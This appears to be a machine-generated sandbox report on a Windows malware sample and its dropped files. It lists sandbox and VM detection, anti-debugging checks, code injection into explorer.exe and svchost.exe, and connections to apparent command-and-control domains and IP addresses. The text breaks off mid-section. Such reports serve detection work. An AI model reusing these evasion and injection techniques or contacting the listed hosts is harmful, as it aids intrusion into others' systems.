Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: adijaeg, 0000000A.00000002.767118658.00000000005EB000.00000004.00000020.sdmp

Binary or memory string: ASWHOOKLGN:

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00406AA0		18_2_00406AA0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00636CF0		18_2_00636CF0

Found evasive API chain (may stop execution after checking computer name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Evasive API call chain: GetComputerName,DecisionNodes,Sleep

Source: C:\Windows\explorer.exe TID: 5484	Thread sleep time: -34200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe TID: 5648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6136	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 4292	Thread sleep count: 46 > 30
Source: C:\Windows\SysWOW64\svchost.exe TID: 4292	Thread sleep time: -46000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\AppData\Local\Temp\FA5C.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 625	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 441	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 376	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	API coverage: 8.1 %
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	API coverage: 6.4 %
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	API coverage: 4.7 %

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Code function: 18_2_00636CF0

18_2_00636CF0

Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C487.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B3EB.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\CF17.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\FA5C.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	API call chain: ExitProcess graph end node	graph_0-20982
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	API call chain: ExitProcess graph end node

Source: explorer.exe, 00000005.00000000.698292375.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.698343578.000000000A64D000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATA
Source: svchost.exe, 00000016.00000002.819381946.000001A7842C5000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWdisplaycatalogmp.microsoft.com
Source: explorer.exe, 00000005.00000000.679650930.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.698292375.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: WerFault.exe, 00000011.00000002.805301079.0000000004FA6000.00000004.00000001.sdmp, svchost.exe, 00000016.00000002.819415155.000001A7842EC000.00000004.00000001.sdmp, svchost.exe, 00000016.00000002.819339202.000001A7842A4000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.676763335.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.698401055.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000005.00000000.681175465.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: WerFault.exe, 00000011.00000002.805439702.0000000005000000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.800381476.0000000005000000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.799626903.0000000005000000.00000004.00000001.sdmp, WerFault.exe, 00000011.00000003.800248547.0000000005000000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\E2A6.exe

Code function: 19_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

19_2_00401D96

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00419A51 GetPrivateProfileSectionW,BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameW,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeA,FindFirstFileExW,	0_2_00419A51
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	18_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_00401280
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_00401090
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	18_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00409970
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00638A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00638A30
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006312E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_006312E0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_006314D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	18_2_006314D0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00636090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00636090
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00639930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	18_2_00639930
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00639BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	18_2_00639BC0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00639D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	18_2_00639D90

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

0_2_004358C0

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00560042 push dword ptr fs:[00000030h]	0_2_00560042
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00580083 push dword ptr fs:[00000030h]	12_2_00580083
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0059092B mov eax, dword ptr fs:[00000030h]	12_2_0059092B
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_00590D90 mov eax, dword ptr fs:[00000030h]	12_2_00590D90
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Code function: 13_2_00560042 push dword ptr fs:[00000030h]	13_2_00560042
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00401000 mov eax, dword ptr fs:[00000030h]	18_2_00401000
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_0040C180 mov eax, dword ptr fs:[00000030h]	18_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_0063092B mov eax, dword ptr fs:[00000030h]	18_2_0063092B
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00631250 mov eax, dword ptr fs:[00000030h]	18_2_00631250
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_0063C3D0 mov eax, dword ptr fs:[00000030h]	18_2_0063C3D0
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00630D90 mov eax, dword ptr fs:[00000030h]	18_2_00630D90
Source: C:\Users\user\AppData\Local\Temp\CFE8.exe	Code function: 18_2_00861F83 push dword ptr fs:[00000030h]	18_2_00861F83
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_0063092B mov eax, dword ptr fs:[00000030h]	35_2_0063092B
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_00630D90 mov eax, dword ptr fs:[00000030h]	35_2_00630D90
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_008AE320 push dword ptr fs:[00000030h]	35_2_008AE320

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Code function: 0_2_0042BCD0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0042BCD0

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Code function: 18_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

18_2_004048D0

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Code function: 0_2_0042CB92 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042CB92

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

0_2_00419C9A

Source: C:\Users\user\AppData\Local\Temp\FA5C.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\95C6.exe

Code function: 16_1_004027ED LdrLoadDll,

16_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\CFE8.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_0043ABA0 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043ABA0
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_0042BCD0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042BCD0
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00422C80 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422C80
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Code function: 0_2_00428530 SetUnhandledExceptionFilter,	0_2_00428530
Source: C:\Users\user\AppData\Local\Temp\8A6B.exe	Code function: 12_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\E2A6.exe	Code function: 19_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	19_2_00409A6B
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Code function: 35_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	35_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.142.143.116 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 104.47.54.36 25
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: CF17.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 2360000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Memory written: C:\Users\user\Desktop\sbxGIUIhRd.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Memory written: C:\Users\user\AppData\Local\Temp\95C6.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FA5C.exe	Memory written: C:\Users\user\AppData\Local\Temp\FA5C.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 2360000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe

Code function: 0_2_00560110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_00560110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\sbxGIUIhRd.exe	Thread created: C:\Windows\explorer.exe EIP: 4DC1930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\adijaeg	Thread created: unknown EIP: 4F81930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\95C6.exe	Thread created: unknown EIP: 5C81930	Jump to behavior

Writes to foreign memory regions

Show sources

